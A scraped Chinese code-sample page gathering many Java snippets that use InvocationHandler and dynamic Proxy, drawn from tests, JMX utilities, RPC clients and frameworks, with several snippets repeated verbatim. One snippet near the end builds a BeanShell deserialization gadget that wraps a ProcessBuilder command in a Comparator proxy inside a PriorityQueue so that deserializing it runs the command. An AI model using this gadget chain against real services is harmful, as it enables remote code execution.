下面列出了怎么用java.lang.reflect.InvocationHandler的API类实例代码及写法,或者点击链接到github查看源代码。
@Test
public void checkProxyAccess() throws ScriptException {
final ScriptEngineManager m = new ScriptEngineManager();
final ScriptEngine e = m.getEngineByName("nashorn");
final boolean[] reached = new boolean[1];
final Runnable r = (Runnable)Proxy.newProxyInstance(
ScriptEngineTest.class.getClassLoader(),
new Class[] { Runnable.class },
new InvocationHandler() {
@Override
public Object invoke(final Object p, final Method mtd, final Object[] a) {
reached[0] = true;
return null;
}
});
e.put("r", r);
e.eval("r.run()");
assertTrue(reached[0]);
}
private void newInstanceFromConstructor(Class<?> proxyClass)
throws Exception
{
// expect newInstance to succeed if it's in the same runtime package
boolean isSamePackage = proxyClass.getName().lastIndexOf('.') == -1;
try {
Constructor cons = proxyClass.getConstructor(InvocationHandler.class);
cons.newInstance(newInvocationHandler());
if (!isSamePackage) {
throw new RuntimeException("ERROR: Constructor.newInstance should not succeed");
}
} catch (IllegalAccessException e) {
if (isSamePackage) {
throw e;
}
}
}
private ApiScope getScope(Annotation currentMethod) throws Throwable {
InvocationHandler methodHandler = Proxy.getInvocationHandler(currentMethod);
Annotation[] extensions = (Annotation[]) methodHandler.invoke(currentMethod,
apiOperation.getMethod(SWAGGER_ANNOTATIONS_EXTENSIONS, null), null);
if (extensions != null) {
methodHandler = Proxy.getInvocationHandler(extensions[0]);
Annotation[] properties = (Annotation[]) methodHandler.invoke(extensions[0], extensionClass
.getMethod(SWAGGER_ANNOTATIONS_PROPERTIES, null), null);
String scopeKey;
String propertyName;
for (Annotation property : properties) {
methodHandler = Proxy.getInvocationHandler(property);
propertyName = (String) methodHandler.invoke(property, extensionPropertyClass
.getMethod(SWAGGER_ANNOTATIONS_PROPERTIES_NAME, null), null);
if (ANNOTATIONS_SCOPE.equals(propertyName)) {
scopeKey = (String) methodHandler.invoke(property, extensionPropertyClass
.getMethod(SWAGGER_ANNOTATIONS_PROPERTIES_VALUE, null), null);
if (scopeKey.isEmpty()) {
return null;
}
return apiScopes.get(scopeKey);
}
}
}
return null;
}
/**
* Transfroms a proxy implementing T in a proxy implementing T plus
* NotificationEmitter
*
**/
public static <T> T makeNotificationEmitter(T proxy,
Class<T> mbeanInterface) {
if (proxy instanceof NotificationEmitter)
return proxy;
if (proxy == null) return null;
if (!(proxy instanceof Proxy))
throw new IllegalArgumentException("not a "+Proxy.class.getName());
final Proxy p = (Proxy) proxy;
final InvocationHandler handler =
Proxy.getInvocationHandler(proxy);
if (!(handler instanceof MBeanServerInvocationHandler))
throw new IllegalArgumentException("not a JMX Proxy");
final MBeanServerInvocationHandler h =
(MBeanServerInvocationHandler)handler;
final ObjectName name = h.getObjectName();
final MBeanServerConnection mbs = h.getMBeanServerConnection();
final boolean isMXBean = h.isMXBean();
final T newProxy;
if (isMXBean)
newProxy = JMX.newMXBeanProxy(mbs,name,mbeanInterface,true);
else
newProxy = JMX.newMBeanProxy(mbs,name,mbeanInterface,true);
return newProxy;
}
@Override
public <F extends Serializable> RpcServer fenceRpcServer(RpcServer rpcServer, F fencingToken) {
if (rpcServer instanceof AkkaBasedEndpoint) {
InvocationHandler fencedInvocationHandler = new FencedAkkaInvocationHandler<>(
rpcServer.getAddress(),
rpcServer.getHostname(),
((AkkaBasedEndpoint) rpcServer).getActorRef(),
configuration.getTimeout(),
configuration.getMaximumFramesize(),
null,
() -> fencingToken);
// Rather than using the System ClassLoader directly, we derive the ClassLoader
// from this class . That works better in cases where Flink runs embedded and all Flink
// code is loaded dynamically (for example from an OSGI bundle) through a custom ClassLoader
ClassLoader classLoader = getClass().getClassLoader();
return (RpcServer) Proxy.newProxyInstance(
classLoader,
new Class<?>[]{RpcServer.class, AkkaBasedEndpoint.class},
fencedInvocationHandler);
} else {
throw new RuntimeException("The given RpcServer must implement the AkkaGateway in order to fence it.");
}
}
/**
* Generate proxy arrays.
*/
Proxy[][] genArrays(int size, int narrays) throws Exception {
Class proxyClass =
Proxy.getProxyClass(DummyInterface.class.getClassLoader(),
new Class[] { DummyInterface.class });
Constructor proxyCons =
proxyClass.getConstructor(new Class[] { InvocationHandler.class });
Object[] consArgs = new Object[] { new DummyHandler() };
Proxy[][] arrays = new Proxy[narrays][size];
for (int i = 0; i < narrays; i++) {
for (int j = 0; j < size; j++) {
arrays[i][j] = (Proxy) proxyCons.newInstance(consArgs);
}
}
return arrays;
}
@Override
public IBinder getService(final Context context, ClassLoader classLoader, IBinder binder) {
return new StubBinder(classLoader, binder) {
@Override
public InvocationHandler createHandler(Class<?> interfaceClass, final IInterface base) {
return new InvocationHandler() {
@Override
public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
try {
return method.invoke(base, args);
} catch (InvocationTargetException e) {
if (e.getCause() != null) {
throw e.getCause();
}
throw e;
}
}
};
}
};
}
public void instrumentPeer() {
origPeer = (ButtonPeer) getPeer();
InvocationHandler handler = new InvocationHandler() {
public Object invoke(Object proxy, Method method, Object[] args) {
if (method.getName().equals("requestFocus")) {
Container parent = getParent();
parent.remove(TestButton.this);
System.err.println("parent = " + parent);
System.err.println("target = " + TestButton.this);
System.err.println("new parent = " + TestButton.this.getParent());
}
Object ret = null;
try {
ret = method.invoke(origPeer, args);
} catch (IllegalAccessException iae) {
throw new Error("Test error.", iae);
} catch (InvocationTargetException ita) {
throw new Error("Test error.", ita);
}
return ret;
}
};
proxiedPeer = (ButtonPeer) Proxy.newProxyInstance(ButtonPeer.class.getClassLoader(), new Class[] {ButtonPeer.class}, handler);
setPeer(proxiedPeer);
}
private <T extends EtMonitor> EtMonitor generateProxy(String appId, Class<T> monitorInterface) {
return (EtMonitor) Proxy.newProxyInstance(monitorInterface.getClassLoader(), new Class[] { monitorInterface }, new InvocationHandler() {
private GenericService service = generateService(appId, monitorInterface);
private ConcurrentHashMap<Method, String[]> mapParameterCLassString = new ConcurrentHashMap<>();
@Override
public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
String[] paramTypeStr = mapParameterCLassString.computeIfAbsent(method, m->{
return Arrays.stream(m.getParameterTypes()).map(clazz->clazz.getName()).toArray(String[]::new);
});
return service.$invoke(method.getName(), paramTypeStr, args);
}
});
}
public void instrumentPeer() {
origPeer = (ButtonPeer) getPeer();
InvocationHandler handler = new InvocationHandler() {
public Object invoke(Object proxy, Method method, Object[] args) {
if (method.getName().equals("requestFocus")) {
Container parent = getParent();
parent.remove(TestButton.this);
System.err.println("parent = " + parent);
System.err.println("target = " + TestButton.this);
System.err.println("new parent = " + TestButton.this.getParent());
}
Object ret = null;
try {
ret = method.invoke(origPeer, args);
} catch (IllegalAccessException iae) {
throw new Error("Test error.", iae);
} catch (InvocationTargetException ita) {
throw new Error("Test error.", ita);
}
return ret;
}
};
proxiedPeer = (ButtonPeer) Proxy.newProxyInstance(ButtonPeer.class.getClassLoader(), new Class[] {ButtonPeer.class}, handler);
setPeer(proxiedPeer);
}
/**
* Creates a {@link Proxy} of the given {@code proxyInterface}
* that uses the given {@link JsonRpcClient}.
*
* @param <T> the proxy type
* @param classLoader the {@link ClassLoader}
* @param proxyInterface the interface to proxy
* @param client the {@link JsonRpcClient}
* @param input the {@link InputStream}
* @param output the {@link OutputStream}
* @return the proxied interface
*/
@SuppressWarnings({"unchecked", "WeakerAccess"})
public static <T> T createClientProxy(ClassLoader classLoader, Class<T> proxyInterface, final JsonRpcClient client, final InputStream input, final OutputStream output) {
// create and return the proxy
return (T) Proxy.newProxyInstance(classLoader, new Class<?>[]{proxyInterface}, new InvocationHandler() {
@Override
public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
if (isDeclaringClassAnObject(method)) return proxyObjectMethods(method, proxy, args);
final Object arguments = ReflectionUtil.parseArguments(method, args);
final String methodName = getMethodName(method);
return client.invokeAndReadResponse(methodName, arguments, method.getGenericReturnType(), output, input);
}
});
}
@SuppressWarnings("unchecked")
public <T> T createProxy() {
ClassLoader loader = client.getClass().getClassLoader();
Class[] interfaces = client.getClass().getInterfaces();
InvocationHandler h = new InvocationHandler() {
public Object invoke(Object proxy, Method method, Object[] args)
throws Throwable {
if ("getName".equals(method.getName())) {
//可根据name值过滤方法
}
//前置
if (before != null) {
before.doBefore();
}
Object result = method.invoke(client, args);//执行目标对象的目标方法
if (after != null) {
after.doAfter();
}
return result;
}
};
return (T) Proxy.newProxyInstance(loader, interfaces, h);
}
/**
* Transfroms a proxy implementing T in a proxy implementing T plus
* NotificationEmitter
*
**/
public static <T> T makeNotificationEmitter(T proxy,
Class<T> mbeanInterface) {
if (proxy instanceof NotificationEmitter)
return proxy;
if (proxy == null) return null;
if (!(proxy instanceof Proxy))
throw new IllegalArgumentException("not a "+Proxy.class.getName());
final Proxy p = (Proxy) proxy;
final InvocationHandler handler =
Proxy.getInvocationHandler(proxy);
if (!(handler instanceof MBeanServerInvocationHandler))
throw new IllegalArgumentException("not a JMX Proxy");
final MBeanServerInvocationHandler h =
(MBeanServerInvocationHandler)handler;
final ObjectName name = h.getObjectName();
final MBeanServerConnection mbs = h.getMBeanServerConnection();
final boolean isMXBean = h.isMXBean();
final T newProxy;
if (isMXBean)
newProxy = JMX.newMXBeanProxy(mbs,name,mbeanInterface,true);
else
newProxy = JMX.newMBeanProxy(mbs,name,mbeanInterface,true);
return newProxy;
}
public void instrumentPeer() {
origPeer = (ButtonPeer) getPeer();
InvocationHandler handler = new InvocationHandler() {
public Object invoke(Object proxy, Method method, Object[] args) {
if (method.getName().equals("requestFocus")) {
Container parent = getParent();
parent.remove(TestButton.this);
System.err.println("parent = " + parent);
System.err.println("target = " + TestButton.this);
System.err.println("new parent = " + TestButton.this.getParent());
}
Object ret = null;
try {
ret = method.invoke(origPeer, args);
} catch (IllegalAccessException iae) {
throw new Error("Test error.", iae);
} catch (InvocationTargetException ita) {
throw new Error("Test error.", ita);
}
return ret;
}
};
proxiedPeer = (ButtonPeer) Proxy.newProxyInstance(ButtonPeer.class.getClassLoader(), new Class[] {ButtonPeer.class}, handler);
setPeer(proxiedPeer);
}
/**
* Creates a proxy class to a given abstract clazz supplied with invocation handler for
* un-implemented/abstrat methods.
*
* @param clazz Proxy to class.
* @param paramTypes Ctor param types.
* @param args Ctor args.
* @param invocationHandler Invocation handler.
* @param <T> Class type.
* @return Proxy instance.
*/
@SuppressWarnings("unchecked")
public static <T> T createProxyFromAbstract(
Class<T> clazz, Class[] paramTypes, Object[] args, InvocationHandler invocationHandler) {
ProxyFactory proxyFactory = new ProxyFactory();
proxyFactory.setSuperclass(clazz);
proxyFactory.setFilter(method -> Modifier.isAbstract(method.getModifiers()));
try {
return (T)
proxyFactory.create(
paramTypes,
args,
(o, method, method1, objects) -> invocationHandler.invoke(o, method, objects));
} catch (Exception e) {
LOGGER.error("Failed creating proxy from abstract class", e);
throw new RuntimeException("Failed creating proxy from abstract class", e);
}
}
public <T> T create(final Class<T> service) {
if (!service.isInterface()) {
throw new IllegalArgumentException("API declarations must be interfaces.");
}
// Prevent API interfaces from extending other interfaces. This not only avoids a bug in
// Android (http://b.android.com/58753) but it forces composition of API declarations which is
// the recommended pattern.
if (service.getInterfaces().length > 0) {
throw new IllegalArgumentException("API interfaces must not extend other interfaces.");
}
return (T) Proxy.newProxyInstance(service.getClassLoader(), new Class<?>[]{service},
new InvocationHandler() {
@Override
public Object invoke(Object proxy, Method method, Object... args)
throws Throwable {
// If the method is a method from Object then defer to normal invocation.
if (method.getDeclaringClass() == Object.class) {
return method.invoke(this, args);
}
return new BizSocketCall().call(BizSocketRxSupport.this,method,args);
}
});
}
@SuppressWarnings("unchecked")
public <R extends ResourceRepository<?, ?>> R getRepositoryForInterface(Class<R> repositoryInterfaceClass) {
init();
RepositoryInformationProvider informationBuilder = moduleRegistry.getRepositoryInformationBuilder();
PreconditionUtil.verify(informationBuilder.accept(repositoryInterfaceClass), "%s is not a valid repository interface", repositoryInterfaceClass);
ResourceRepositoryInformation repositoryInformation =
(ResourceRepositoryInformation) informationBuilder.build(repositoryInterfaceClass, new DefaultRepositoryInformationProviderContext(moduleRegistry));
Class<?> resourceClass = repositoryInformation.getResource().getResourceClass();
Object actionStub = actionStubFactory != null ? actionStubFactory.createStub(repositoryInterfaceClass) : null;
ResourceRepository<?, Serializable> repositoryStub = getRepositoryForType(resourceClass);
ClassLoader classLoader = repositoryInterfaceClass.getClassLoader();
InvocationHandler invocationHandler =
new ClientStubInvocationHandler(repositoryInterfaceClass, repositoryStub, actionStub);
return (R) Proxy.newProxyInstance(classLoader, new Class[] { repositoryInterfaceClass, Wrapper.class, ResourceRepository.class },
invocationHandler);
}
@Nonnull
private T buildCompositeValue(@Nullable ComponentManager componentManager) {
final List<T> extensions = myName.getExtensionList(componentManager == null ? Application.get() : componentManager);
InvocationHandler handler = new MyInvocationHandler<>(myName, extensions);
//noinspection unchecked
return (T)Proxy.newProxyInstance(myClazz.getClassLoader(), new Class[]{myClazz}, handler);
}
/**
* Generate proxy object array of the given size.
*/
Proxy[] genProxies(int size) throws Exception {
Class proxyClass =
Proxy.getProxyClass(DummyInterface.class.getClassLoader(),
new Class[] { DummyInterface.class });
Constructor proxyCons =
proxyClass.getConstructor(new Class[] { InvocationHandler.class });
Object[] consArgs = new Object[] { new DummyHandler() };
Proxy[] proxies = new Proxy[size];
for (int i = 0; i < size; i++)
proxies[i] = (Proxy) proxyCons.newInstance(consArgs);
return proxies;
}
@Override
public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
if (method.getName().equals("annotationType")) {
return annotationType;
}
if (method.getName().equals("equals")) {
// Fall back to comparing the actual annotations.
populateAnnotation();
if (!Proxy.isProxyClass(args[0].getClass())) {
return false;
}
InvocationHandler rawHandler = Proxy.getInvocationHandler(args[0]);
if (!(rawHandler instanceof Handler)) {
return false;
}
Handler other = (Handler) rawHandler;
other.populateAnnotation();
return annotationCache.equals(other.annotationCache);
}
populateValues();
if (!valueCache.containsKey(method.getName())) {
throw new IllegalArgumentException("Unrecognized method: " + method.getName());
}
AnnotationValue value = valueCache.get(method.getName());
Object rawValue = new ValueVisitor(method.getReturnType()).visit(value);
if (rawValue != null) {
return rawValue;
}
// Fall back to trying the annotation.
populateAnnotation();
try {
return method.invoke(annotationCache, args);
} catch (InvocationTargetException e) {
throw e.getCause();
}
}
public static MBeanServerForwarder newProxyInstance() {
final InvocationHandler handler =
new MBeanServerForwarderInvocationHandler();
final Class[] interfaces =
new Class[] {MBeanServerForwarder.class};
Object proxy = Proxy.newProxyInstance(
MBeanServerForwarder.class.getClassLoader(),
interfaces,
handler);
return MBeanServerForwarder.class.cast(proxy);
}
public static InvocationHandler getInvocationHandler(final Object proxy) {
if (LocalBeanProxyFactory.isProxy(proxy.getClass())) {
return LocalBeanProxyFactory.getInvocationHandler(proxy);
}
checkDefaultFactory();
return defaultFactory.getInvocationHandler(proxy);
}
/**
* 创建一个动态代理根据传入的类型. 如果我们正在维护的是一个Map,那么当调用出现异常时我们将从Map中取值.
*
* @param proxyType 需要动态代理的类型
* @return 动态代理生成的对象
*/
@SuppressWarnings("unchecked")
public <P> P as(Class<P> proxyType) {
final boolean isMap = (object instanceof Map);
final InvocationHandler handler = new InvocationHandler() {
@Mark
public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
String name = method.getName();
try {
return on(object).call(name, args).get();
} catch (ReflectException e) {
if (isMap) {
Map<String, Object> map = (Map<String, Object>) object;
int length = (args == null ? 0 : args.length);
if (length == 0 && name.startsWith("get")) {
return map.get(property(name.substring(3)));
} else if (length == 0 && name.startsWith("is")) {
return map.get(property(name.substring(2)));
} else if (length == 1 && name.startsWith("set")) {
map.put(property(name.substring(3)), args[0]);
return null;
}
}
throw e;
}
}
};
return (P) Proxy.newProxyInstance(proxyType.getClassLoader(), new Class[]{proxyType}, handler);
}
/** Configures components needed for hystrix integration. */
Feign build(final FallbackFactory<?> nullableFallbackFactory) {
super.invocationHandlerFactory(new InvocationHandlerFactory() {
@Override public InvocationHandler create(Target target,
Map<Method, MethodHandler> dispatch) {
return new EnhanceInvocationHandler(target, dispatch, setterFactory, nullableFallbackFactory);
}
});
super.contract(new HystrixDelegatingContract(contract));
return super.build();
}
/**
* Create proxy constructor
/**
* Create proxy class
* @param <T> Expected proxy type
* @return Constructor of proxy for given classloader and interfaces
*/
public <T> Constructor<T> createConstructor() {
try {
return this.<T>createClass().getConstructor(InvocationHandler.class);
} catch (NoSuchMethodException noSuchMethodException) {
throw new ProxyException(noSuchMethodException);
}
}
/**
* Centralised M(X)Bean proxy creation code
* @param connection {@linkplain MBeanServerConnection} to use
* @param objectName M(X)Bean object name
* @param interfaceClass M(X)Bean interface class
* @param notificationEmitter Is a notification emitter?
* @param isMXBean Is an MXBean?
* @return Returns an M(X)Bean proxy generated for the provided interface class
* @throws SecurityException
* @throws IllegalArgumentException
*/
private static <T> T createProxy(MBeanServerConnection connection,
ObjectName objectName,
Class<T> interfaceClass,
boolean notificationEmitter,
boolean isMXBean) {
try {
if (isMXBean) {
// Check interface for MXBean compliance
Introspector.testComplianceMXBeanInterface(interfaceClass);
} else {
// Check interface for MBean compliance
Introspector.testComplianceMBeanInterface(interfaceClass);
}
} catch (NotCompliantMBeanException e) {
throw new IllegalArgumentException(e);
}
InvocationHandler handler = new MBeanServerInvocationHandler(
connection, objectName, isMXBean);
final Class<?>[] interfaces;
if (notificationEmitter) {
interfaces =
new Class<?>[] {interfaceClass, NotificationEmitter.class};
} else
interfaces = new Class<?>[] {interfaceClass};
Object proxy = Proxy.newProxyInstance(
interfaceClass.getClassLoader(),
interfaces,
handler);
return interfaceClass.cast(proxy);
}
public PriorityQueue getObject(CmdExecuteHelper cmdHelper) throws Exception {
// BeanShell payload
String payload = "compare(Object foo, Object bar) {new java.lang.ProcessBuilder(new String[]{" + Arrays.toString(cmdHelper.getCommandArray()) + "}).start();return new Integer(1);}";
// Create Interpreter
Interpreter i = new Interpreter();
// Evaluate payload
i.eval(payload);
// Create InvocationHandler
XThis xt = new XThis(i.getNameSpace(), i);
InvocationHandler handler = (InvocationHandler) Reflections.getField(xt.getClass(), "invocationHandler").get(xt);
// Create Comparator Proxy
Comparator comparator = (Comparator) Proxy.newProxyInstance(Comparator.class.getClassLoader(), new Class<?>[]{Comparator.class}, handler);
// Prepare Trigger Gadget (will call Comparator.compare() during deserialization)
final PriorityQueue<Object> priorityQueue = new PriorityQueue<Object>(2, comparator);
Object[] queue = new Object[] {1,1};
Reflections.setFieldValue(priorityQueue, "queue", queue);
Reflections.setFieldValue(priorityQueue, "size", 2);
return priorityQueue;
}
@Ignore("Does no work because DS cannot mock dynamic repositories")
@Test
public void saveUserWithMockedBean() {
final String userName = "gp";
final String firstName = "Gerhard";
final String lastName = "Petracek";
// mockito doesn't support interfaces...seriously? but you can mock CDI impl
// here we don't have one so implementing for the test the interface
final UserRepository mockedUserRepository = (UserRepository) Proxy.newProxyInstance(
Thread.currentThread().getContextClassLoader(),
new Class<?>[]{UserRepository.class},
new InvocationHandler() {
@Override
public Object invoke(final Object proxy, final Method method, final Object[] args) throws Throwable {
return new User(userName, firstName, lastName.toUpperCase() /*just to illustrate that the mock-instance is used*/);
}
});
mockManager.addMock(mockedUserRepository);
this.windowContext.activateWindow("testWindow");
this.registrationPage.getUser().setUserName(userName);
this.registrationPage.getUser().setFirstName(firstName);
this.registrationPage.getUser().setLastName(lastName);
this.registrationPage.getUser().setPassword("123");
final Class<? extends Pages> targetPage = this.registrationPage.register();
Assert.assertEquals(Pages.Login.class, targetPage);
Assert.assertFalse(FacesContext.getCurrentInstance().getMessageList().isEmpty());
Assert.assertEquals(webappMessageBundle.msgUserRegistered(userName), FacesContext.getCurrentInstance().getMessageList().iterator().next().getSummary());
final User user = this.userRepository.findByUserName(userName);
Assert.assertNotNull(user);
Assert.assertEquals(firstName, user.getFirstName());
Assert.assertEquals(lastName.toUpperCase(), user.getLastName());
}
@Override
public Object getObject() throws Exception {
return Proxy.newProxyInstance(Thread.currentThread()
.getContextClassLoader(), new Class[] { iface },
new InvocationHandler() {
@Override
public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
// filter method like "Object.toString()"
if (Object.class.getName().equals(method.getDeclaringClass().getName())) {
logger.error(">>>>>>>>>>> xxl-rpc proxy class-method not support [{}.{}]", method.getDeclaringClass().getName(), method.getName());
throw new RuntimeException("xxl-rpc proxy class-method not support");
}
// request
RpcRequest request = new RpcRequest();
request.setServerAddress(serverAddress);
request.setCreateMillisTime(System.currentTimeMillis());
request.setAccessToken(accessToken);
request.setClassName(method.getDeclaringClass().getName());
request.setMethodName(method.getName());
request.setParameterTypes(method.getParameterTypes());
request.setParameters(args);
// send
RpcResponse response = client.send(request);
// valid response
if (response == null) {
throw new Exception("Network request fail, response not found.");
}
if (response.isError()) {
throw new RuntimeException(response.getError());
} else {
return response.getResult();
}
}
});
}
public static MBeanServerConnection newChecker(
ProxyClient client, MBeanServerConnection mbsc) {
final InvocationHandler ih = new CheckerInvocationHandler(mbsc);
return (MBeanServerConnection) Proxy.newProxyInstance(
Checker.class.getClassLoader(),
new Class[]{MBeanServerConnection.class},
ih);
}